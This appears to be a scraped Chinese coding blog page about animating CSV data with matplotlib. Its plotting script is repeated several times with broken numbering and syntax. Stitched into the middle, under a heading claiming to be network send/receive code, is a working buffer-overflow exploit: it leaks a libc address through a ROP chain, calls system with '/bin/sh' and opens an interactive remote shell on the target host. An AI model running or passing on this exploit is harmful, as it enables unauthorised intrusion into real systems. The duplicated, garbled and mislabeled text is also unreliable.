python 处理csv数据 动态显示曲线 matplot动画



[python]  view plain  copy
 print ?
  1. # -*- coding: utf-8 -*-  
  2. """ 
  3. Spyder Editor 
  4.  
  5. This temporary script file is located here: 
  6. C:\Users\user\.spyder2\.temp.py 
  7. """  
  8. """ 
  9. Show how to modify the coordinate formatter to report the image "z" 
  10. value of the nearest pixel given x and y 
  11. """  
  12. # coding: utf-8  
  13.   
  14. import time  
  15. import string  
  16. import os    
  17. import math    
  18. import pylab  
  19.   
  20. import numpy as np  
  21. from numpy import genfromtxt  
  22. import matplotlib  
  23. import matplotlib as mpl  
  24. from matplotlib.colors import LogNorm  
  25. from matplotlib.mlab import bivariate_normal  
  26.   
  27. import matplotlib.pyplot as plt  
  28. import matplotlib.cm as cm  
  29.   
  30.   
  31. import matplotlib.animation as animation  
  32.   
  33.         
  34.    
  35. metric = genfromtxt('D:\export.csv', delimiter=',')  
  36.   
  37. lines=len(metric)    
  38. #print len(metric)  
  39. #print len(metric[4])  
  40. #print metric[4]   
  41.   
  42. rowdatas=metric[:,0]  
  43. for index in range(len(metric[4])-1):  
  44.     a=metric[:,index+1]  
  45.     rowdatas=np.row_stack((rowdatas,a))  
  46.       
  47. #print len(rowdatas)  
  48. #print len(rowdatas[4])  
  49. #print rowdatas[4]   
  50. #      
  51.   
  52. #plt.figure(figsize=(38,38), dpi=80)  
  53. #plt.plot(rowdatas[4] )  
  54. #plt.xlabel('time')  
  55. #plt.ylabel('value')  
  56. #plt.title("USBHID data analysis")  
  57. #plt.show()  
  58.   
  59. linenum=1  
  60. ##如果是参数是list,则默认每次取list中的一个元素,即metric[0],metric[1],...   
  61. listdata=rowdatas.tolist()  
  62. print listdata[4]  
  63.   
  64. #fig = plt.figure()    
  65. #window = fig.add_subplot(111)    
  66. #line, = window.plot(listdata[4] )    
  67.    
  68. fig, ax = plt.subplots()  
  69. line, = ax.plot(listdata[4],lw=2)  
  70. ax.grid()  
  71.   
  72. time_template = 'Data ROW = %d'  
  73. time_text = ax.text(0.050.9'', transform=ax.transAxes)  
  74.    
  75. #ax = plt.axes(xlim=(0, 700), ylim=(0, 255))   
  76. #line, = ax.plot([], [], lw=2)   
  77.    
  78. def update(data):    
  79.     global linenum  
  80.     line.set_ydata(data)  
  81. #    print 'this is line: %d'%linenum  
  82.     time_text.set_text(time_template % (linenum))  
  83.     linenum=linenum+1  
  84. #    nextitem = input(u'输入任意字符继续: ')  
  85.     return line,    
  86.   
  87. def init():  
  88. #    ax.set_ylim(0, 1.1)  
  89. #    ax.set_xlim(0, 10)  
  90. #    line.set_data(xdata)  
  91.     plt.xlabel('time')  
  92.     plt.ylabel('Time')  
  93.     plt.title('USBHID Data analysis')  
  94.     return line,  
  95.       
  96. ani = animation.FuncAnimation(fig, update,listdata , interval=1*1000,init_func=init,repeat=False)    
  97. plt.show()    
  98. [python]  view plain  copy
     print ?
    1. # -*- coding: utf-8 -*-  
    2. """ 
    3. Spyder Editor 
    4.  
    5. This temporary script file is located here: 
    6. C:\Users\user\.spyder2\.temp.py 
    7. """  
    8. """ 
    9. Show how to modify the coordinate formatter to report the image "z" 
    10. value of the nearest pixel given x and y 
    11. """  
    12. # coding: utf-8  
    13.   
    14. import time  
    15. import string  
    16. import os    
    17. import math    
    18. import pylab  
    19.   
    20. import numpy as np  
    21. from numpy import genfromtxt  
    22. import matplotlib  
    23. import matplotlib as mpl  
    24. from matplotlib.colors import LogNorm  
    25. from matplotlib.mlab import bivariate_normal  
    26.   
    27. import matplotlib.pyplot as plt  
    28. import matplotlib.cm as cm  
    29.   
    30.   
    31. import matplotlib.animation as animation  
    32.   
    33.         
    34.    
    35. metric = genfromtxt('D:\export.csv', delimiter=',')  
    36.   
    37. lines=len(metric)    
    38. #print len(metric)  
    39. #print len(metric[4])  
    40. #print metric[4]   
    41.   
    42. rowdatas=metric[:,0]  
    43. for index in range(len(metric[4])-1):  
    44.     a=metric[:,index+1]  
    45.     rowdatas=np.row_stack((rowdatas,a))  
    46.       
    47. #print len(rowdatas)  
    48. #print len(rowdatas[4])  
    49. #print rowdatas[4]   
    50. #      
    51.   
    52. #plt.figure(figsize=(38,38), dpi=80)  
    53. #plt.plot(rowdatas[4] )  
    54. #plt.xlabel('time')  
    55. #plt.ylabel('value')  
    56. #plt.title("USBHID data analysis")  
    57. #plt.show()  
    58.   
    59. linenum=1  
    60. ##如果是参数是list,则默认每次取list中的一个元素,即metric[0],metric[1],...   
    61. listdata=rowdatas.tolist()  
    62. print listdata[4]  
    63.   
    64. #fig = plt.figure()    
    65. #window = fig.add_subplot(111)    
    66. #line, = window.plot(listdata[4] )    
    67.    
    68. fig, ax = plt.subplots()  
    69. line, = ax.plot(listdata[4],lw=2)  
    70. ax.grid()  
    71.   
    72. time_template = 'Data ROW = %d'  
    73. time_text = ax.text(0.050.9'', transform=ax.transAxes)  
    74.    
    75. #ax = plt.axes(xlim=(0, 700), ylim=(0, 255))   
    76. #line, = ax.plot([], [], lw=2)   
    77.    
    78. def update(data):    
    79.     global linenum  
    80.     line.set_ydata(data)  
    81. #    print 'this is line: %d'%linenum  
    82.     time_text.set_text(time_template % (linenum))  
    83.     linenum=linenum+1  
    84. #    nextitem = input(u'输入任意字符继续: ')  
    85.     return line,    
    86.   
    87. def init():  
    88. #    ax.set_ylim(0, 1.1)  
    89. #    ax.set_xlim(0, 10)  
    90. #    line.set_data(xdata)  
    91.     plt.xlabel('time')  
    92.     plt.ylabel('Time')  
    93.     plt.title('USBHID Data analysis')  
    94.     return line,  
    95.       
    96. ani = animation.FuncAnimation(fig, update,listdata , interval=1*1000,init_func=init,repeat=False)    
    97. plt.show()    

    pyqt如何显示实时数据
  99. [python]  view plain  copy
     print ?
    1. # -*- coding: utf-8 -*-  
    2. """ 
    3. Spyder Editor 
    4.  
    5. This temporary script file is located here: 
    6. C:\Users\user\.spyder2\.temp.py 
    7. """  
    8. """ 
    9. Show how to modify the coordinate formatter to report the image "z" 
    10. value of the nearest pixel given x and y 
    11. """  
    12. # coding: utf-8  
    13.   
    14. import time  
    15. import string  
    16. import os    
    17. import math    
    18. import pylab  
    19.   
    20. import numpy as np  
    21. from numpy import genfromtxt  
    22. import matplotlib  
    23. import matplotlib as mpl  
    24. from matplotlib.colors import LogNorm  
    25. from matplotlib.mlab import bivariate_normal  
    26.   
    27. import matplotlib.pyplot as plt  
    28. import matplotlib.cm as cm  
    29.   
    30.   
    31. import matplotlib.animation as animation  
    32.   
    33.         
    34.    
    35. metric = genfromtxt('D:\export.csv', delimiter=',')  
    36.   
    37. lines=len(metric)    
    38. #print len(metric)  
    39. #print len(metric[4])  
    40. #print metric[4]   
    41.   
    42. rowdatas=metric[:,0]  
    43. for index in range(len(metric[4])-1):  
    44.     a=metric[:,index+1]  
    45.     rowdatas=np.row_stack((rowdatas,a))  
    46.       
    47. #print len(rowdatas)  
    48. #print len(rowdatas[4])  
    49. #print rowdatas[4]   
    50. #      
    51.   
    52. #plt.figure(figsize=(38,38), dpi=80)  
    53. #plt.plot(rowdatas[4] )  
    54. #plt.xlabel('time')  
    55. #plt.ylabel('value')  
    56. #plt.title("USBHID data analysis")  
    57. #plt.show()  
    58.   
    59. linenum=1  
    60. ##如果是参数是list,则默认每次取list中的一个元素,即metric[0],metric[1],...   
    61. listdata=rowdatas.tolist()  
    62. print listdata[4]  
    63.   
    64. #fig = plt.figure()    
    65. #window = fig.add_subplot(111)    
    66. #line, = window.plot(listdata[4] )    
    67.    
    68. fig, ax = plt.subplots()  
    69. line, = ax.plot(listdata[4],lw=2)  
    70. ax.grid()  
    71.   
    72. time_template = 'Data ROW = %d'  
    73. time_text = ax.text(0.050.9'', transform=ax.transAxes)  
    74.    
    75. #ax = plt.axes(xlim=(0, 700), ylim=(0, 255))   
    76. #line, = ax.plot([], [], lw=2)   
    77.    
    78. def update(data):    
    79.     global linenum  
    80.     line.set_ydata(data)  
    81. #    print 'this is line: %d'%linenum  
    82.     time_text.set_text(time_template % (linenum))  
    83.     linenum=linenum+1  
    84. #    nextitem = input(u'输入任意字符继续: ')  
    85.     return line,    
    86.   
    87. def init():  
    88. #    ax.set_ylim(0, 1.1)  
    89. #    ax.set_xlim(0, 10)  
    90. #    line.set_data(xdata)  
    91.     plt.xlabel('time')  
    92.     plt.ylabel('Time')  
    93.     plt.title('USBHID Data analysis')  
    94.     return line,  
    95.       
    96. ani = animation.FuncAnimation(fig, update,listdata , interval=1*1000,init_func=init,repeat=False)    
    97. plt.show()    
    [python]  view plain  copy
     print ?
    1. # -*- coding: utf-8 -*-  
    2. """ 
    3. Spyder Editor 
    4.  
    5. This temporary script file is located here: 
    6. C:\Users\user\.spyder2\.temp.py 
    7. """  
    8. """ 
    9. Show how to modify the coordinate formatter to report the image "z" 
    10. value of the nearest pixel given x and y 
    11. """  
    12. # coding: utf-8  
    13.   
    14. import time  
    15. import string  
    16. import os    
    17. import math    
    18. import pylab  
    19.   
    20. import numpy as np  
    21. from numpy import genfromtxt  
    22. import matplotlib  
    23. import matplotlib as mpl  
    24. from matplotlib.colors import LogNorm  
    25. from matplotlib.mlab import bivariate_normal  
    26.   
    27. import matplotlib.pyplot as plt  
    28. import matplotlib.cm as cm  
    29.   
    30.   
    31. import matplotlib.animation as animation  
    32.   
    33.         
    34.    
    35. metric = genfromtxt('D:\export.csv', delimiter=',')  
    36.   
    37. lines=len(metric)    
    38. #print len(metric)  
    39. #print len(metric[4])  
    40. #print metric[4]   
    41.   
    42. rowdatas=metric[:,0]  
    43. for index in range(len(metric[4])-1):  
    44.     a=metric[:,index+1]  
    45.     rowdatas=np.row_stack((rowdatas,a))  
    46.       
    47. #print len(rowdatas)  
    48. #print len(rowdatas[4])  
    49. #print rowdatas[4]   
    50. #      
    51.   
    52. #plt.figure(figsize=(38,38), dpi=80)  
    53. #plt.plot(rowdatas[4] )  
    54. #plt.xlabel('time')  
    55. #plt.ylabel('value')  
    56. #plt.title("USBHID data analysis")  
    57. #plt.show()  
    58.   
    59. linenum=1  
    60. ##如果是参数是list,则默认每次取list中的一个元素,即metric[0],metric[1],...   
    61. listdata=rowdatas.tolist()  
    62. print listdata[4]  
    63.   
    64. #fig = plt.figure()    
    65. #window = fig.add_subplot(111)    
    66. #line, = window.plot(listdata[4] )    
    67.    
    68. fig, ax = plt.subplots()  
    69. line, = ax.plot(listdata[4],lw=2)  
    70. ax.grid()  
    71.   
    72. time_template = 'Data ROW = %d'  
    73. time_text = ax.text(0.050.9'', transform=ax.transAxes)  
    74.    
    75. #ax = plt.axes(xlim=(0, 700), ylim=(0, 255))   
    76. #line, = ax.plot([], [], lw=2)   
    77.    
    78. def update(data):    
    79.     global linenum  
    80.     line.set_ydata(data)  
    81. #    print 'this is line: %d'%linenum  
    82.     time_text.set_text(time_template % (linenum))  
    83.     linenum=linenum+1  
    84. #    nextitem = input(u'输入任意字符继续: ')  
    85.     return line,    
    86.   
    87. def init():  
    88. #    ax.set_ylim(0, 1.1)  
    89. #    ax.set_xlim(0, 10)  
    90. #    line.set_data(xdata)  
    91.     plt.xlabel('time')  
    92.     plt.ylabel('Time')  
    93.     plt.title('USBHID Data analysis')  
    94.     return line,  
    95.       
    96. ani = animation.FuncAnimation(fig, update,listdata , interval=1*1000,init_func=init,repeat=False)    
    97. plt.show()    

    python 网络发送接收数据代码
    #coding:utf-8
    __author__  =  'Dazdingo'
      
    from  socket  import  *
    import  struct
    import  time
    import  threading
    import  sys
      
    is_recv  =  True
      
    sock_host  =  '192.168.206.130'
    sock_port  =  8080
      
    =  socket(AF_INET, SOCK_STREAM)
      
    def  send(ss, tail  =  ''):
       global  S
       if  tail:
         ss  + =  tail
       print  ss
       S.send(ss)
      
    def  outputrecv():
       global  S
       while  1 :
         if  is_recv:
           =   S.recv( 1024 )
           if  i:
             sys.stdout.write(i)
      
    def  start_recv():
       #start recv
       =  threading.Thread(target  =  outputrecv,  args  =  ())
       t.daemon  =  True
       t.start()
      
    def  get_shell():
       #start recv
       start_recv()
      
       global  S
       while  1 :
         time.sleep( 0.1 )
         ss  =  raw_input ()  +  '\n'
         S.send(ss)
      
      
    def  main():
       global  S
      
       if  len (sys.argv)  = =  3 :
         sock_host  =  sys.argv[ 1 ]
         sock_port  =  int (sys.argv[ 2 ])
      
       S.connect((sock_host, sock_port))
      
       =  raw_input ( 'pause' )
       print  S.recv( 1024 )
      
       send( 'syclover\x001111111\xf0' )
      
       print  S.recv( 1024 )
      
       ebp  =  '\x20\x99\x04\x08'
       libc  =  '\x5c\x98\x04\x08'  #__libc_start_main
       retaddr1  =  '\xa0\x83\x04\x08'  # write
       retaddr2  =  '\xbe\x85\x04\x08'  #pop;pop;pop;ret
       pop_ebp_ret  =  '\xc0\x85\x04\x08'
       retaddr3  =  '\x60\x83\x04\x08'  # read
       retaddr4  =  '\xd2\x85\x04\x08'  #leave ret
      
        send( 'A' * 0x9c  +  ebp  +  retaddr1  +  retaddr2  +  '\x01\x00\x00\x00'  +  libc  +   '\x04\x00\x00\x00'  + pop_ebp_ret  +  ebp  +  retaddr3  +  retaddr4  +   '\x00\x00\x00\x00'  +  '\x24\x99\x04\x08'  +  '\xf0\x00\x00\x00'  )
      
       time.sleep( 1 )
       =  S.recv( 1024 )
      
       libcaddr  =  struct.unpack( 'I' , l)[ 0 ]
       print  '__libc_start_main:' , hex (libcaddr)
       system  =  libcaddr  +  0x26050
      
       send(struct.pack( 'I' , system)  +  'AAAA' + '\x30\x99\x04\x08'  +  '/bin/sh\x00' )
      
       get_shell()
      
      
    if  __name__  = =  '__main__' :
       main()
    [python]  view plain  copy
     print ?
    1. # -*- coding: utf-8 -*-  
    2. """ 
    3. Spyder Editor 
    4.  
    5. This temporary script file is located here: 
    6. C:\Users\user\.spyder2\.temp.py 
    7. """  
    8. """ 
    9. Show how to modify the coordinate formatter to report the image "z" 
    10. value of the nearest pixel given x and y 
    11. """  
    12. # coding: utf-8  
    13.   
    14. import time  
    15. import string  
    16. import os    
    17. import math    
    18. import pylab  
    19.   
    20. import numpy as np  
    21. from numpy import genfromtxt  
    22. import matplotlib  
    23. import matplotlib as mpl  
    24. from matplotlib.colors import LogNorm  
    25. from matplotlib.mlab import bivariate_normal  
    26.   
    27. import matplotlib.pyplot as plt  
    28. import matplotlib.cm as cm  
    29.   
    30.   
    31. import matplotlib.animation as animation  
    32.   
    33.         
    34.    
    35. metric = genfromtxt('D:\export.csv', delimiter=',')  
    36.   
    37. lines=len(metric)    
    38. #print len(metric)  
    39. #print len(metric[4])  
    40. #print metric[4]   
    41.   
    42. rowdatas=metric[:,0]  
    43. for index in range(len(metric[4])-1):  
    44.     a=metric[:,index+1]  
    45.     rowdatas=np.row_stack((rowdatas,a))  
    46.       
    47. #print len(rowdatas)  
    48. #print len(rowdatas[4])  
    49. #print rowdatas[4]   
    50. #      
    51.   
    52. #plt.figure(figsize=(38,38), dpi=80)  
    53. #plt.plot(rowdatas[4] )  
    54. #plt.xlabel('time')  
    55. #plt.ylabel('value')  
    56. #plt.title("USBHID data analysis")  
    57. #plt.show()  
    58.   
    59. linenum=1  
    60. ##如果是参数是list,则默认每次取list中的一个元素,即metric[0],metric[1],...   
    61. listdata=rowdatas.tolist()  
    62. print listdata[4]  
    63.   
    64. #fig = plt.figure()    
    65. #window = fig.add_subplot(111)    
    66. #line, = window.plot(listdata[4] )    
    67.    
    68. fig, ax = plt.subplots()  
    69. line, = ax.plot(listdata[4],lw=2)  
    70. ax.grid()  
    71.   
    72. time_template = 'Data ROW = %d'  
    73. time_text = ax.text(0.050.9'', transform=ax.transAxes)  
    74.    
    75. #ax = plt.axes(xlim=(0, 700), ylim=(0, 255))   
    76. #line, = ax.plot([], [], lw=2)   
    77.    
    78. def update(data):    
    79.     global linenum  
    80.     line.set_ydata(data)  
    81. #    print 'this is line: %d'%linenum  
    82.     time_text.set_text(time_template % (linenum))  
    83.     linenum=linenum+1  
    84. #    nextitem = input(u'输入任意字符继续: ')  
    85.     return line,    
    86.   
    87. def init():  
    88. #    ax.set_ylim(0, 1.1)  
    89. #    ax.set_xlim(0, 10)  
    90. #    line.set_data(xdata)  
    91.     plt.xlabel('time')  
    92.     plt.ylabel('Time')  
    93.     plt.title('USBHID Data analysis')  
    94.     return line,  
    95.       
    96. ani = animation.FuncAnimation(fig, update,listdata , interval=1*1000,init_func=init,repeat=False)    
    97. plt.show()    

    pyqt如何显示实时数据
[python]  view plain  copy
 print ?
  1. # -*- coding: utf-8 -*-  
  2. """ 
  3. Spyder Editor 
  4.  
  5. This temporary script file is located here: 
  6. C:\Users\user\.spyder2\.temp.py 
  7. """  
  8. """ 
  9. Show how to modify the coordinate formatter to report the image "z" 
  10. value of the nearest pixel given x and y 
  11. """  
  12. # coding: utf-8  
  13.   
  14. import time  
  15. import string  
  16. import os    
  17. import math    
  18. import pylab  
  19.   
  20. import numpy as np  
  21. from numpy import genfromtxt  
  22. import matplotlib  
  23. import matplotlib as mpl  
  24. from matplotlib.colors import LogNorm  
  25. from matplotlib.mlab import bivariate_normal  
  26.   
  27. import matplotlib.pyplot as plt  
  28. import matplotlib.cm as cm  
  29.   
  30.   
  31. import matplotlib.animation as animation  
  32.   
  33.         
  34.    
  35. metric = genfromtxt('D:\export.csv', delimiter=',')  
  36.   
  37. lines=len(metric)    
  38. #print len(metric)  
  39. #print len(metric[4])  
  40. #print metric[4]   
  41.   
  42. rowdatas=metric[:,0]  
  43. for index in range(len(metric[4])-1):  
  44.     a=metric[:,index+1]  
  45.     rowdatas=np.row_stack((rowdatas,a))  
  46.       
  47. #print len(rowdatas)  
  48. #print len(rowdatas[4])  
  49. #print rowdatas[4]   
  50. #      
  51.   
  52. #plt.figure(figsize=(38,38), dpi=80)  
  53. #plt.plot(rowdatas[4] )  
  54. #plt.xlabel('time')  
  55. #plt.ylabel('value')  
  56. #plt.title("USBHID data analysis")  
  57. #plt.show()  
  58.   
  59. linenum=1  
  60. ##如果是参数是list,则默认每次取list中的一个元素,即metric[0],metric[1],...   
  61. listdata=rowdatas.tolist()  
  62. print listdata[4]  
  63.   
  64. #fig = plt.figure()    
  65. #window = fig.add_subplot(111)    
  66. #line, = window.plot(listdata[4] )    
  67.    
  68. fig, ax = plt.subplots()  
  69. line, = ax.plot(listdata[4],lw=2)  
  70. ax.grid()  
  71.   
  72. time_template = 'Data ROW = %d'  
  73. time_text = ax.text(0.050.9'', transform=ax.transAxes)  
  74.    
  75. #ax = plt.axes(xlim=(0, 700), ylim=(0, 255))   
  76. #line, = ax.plot([], [], lw=2)   
  77.    
  78. def update(data):    
  79.     global linenum  
  80.     line.set_ydata(data)  
  81. #    print 'this is line: %d'%linenum  
  82.     time_text.set_text(time_template % (linenum))  
  83.     linenum=linenum+1  
  84. #    nextitem = input(u'输入任意字符继续: ')  
  85.     return line,    
  86.   
  87. def init():  
  88. #    ax.set_ylim(0, 1.1)  
  89. #    ax.set_xlim(0, 10)  
  90. #    line.set_data(xdata)  
  91.     plt.xlabel('time')  
  92.     plt.ylabel('Time')  
  93.     plt.title('USBHID Data analysis')  
  94.     return line,  
  95.       
  96. ani = animation.FuncAnimation(fig, update,listdata , interval=1*1000,init_func=init,repeat=False)    
  97. plt.show()    
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值